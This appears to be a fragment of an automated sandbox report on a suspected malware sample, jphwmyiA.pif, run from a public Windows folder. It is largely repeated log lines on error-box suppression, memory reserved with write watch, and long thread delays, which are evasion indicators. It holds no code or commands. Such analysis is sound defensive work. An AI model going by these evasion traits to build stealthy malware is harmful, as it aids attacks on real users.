Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 20E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 21120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 23120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 1A400000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 1C1D0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 1BF80000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 223B0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 227E0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Memory allocated: 22420000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\jphwmyiA.pif

10_2_004019F0

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599525	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599389	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599269	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598838	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598679	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598572	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597869	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597530	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596839	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596491	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596388	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596070	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595371	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595258	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595142	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594918	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594805	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594698	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594586	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594463	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594337	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594003	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593708	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593261	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593086	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592951	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592734	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592608	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592433	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592266	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592130	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592016	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591890	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591751	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591609	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599890
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599780
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599670
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599539
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599339
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599219
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599094
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598984
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598875
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598765
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598656
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598547
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598437
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598327
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598218
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598057
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597933
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597816
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597695
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597565
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597438
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597316
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597196
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597023
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596688
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596526
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596352
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596245
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596071
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595927
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595785
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595616
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595402
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595083
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594956
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594812
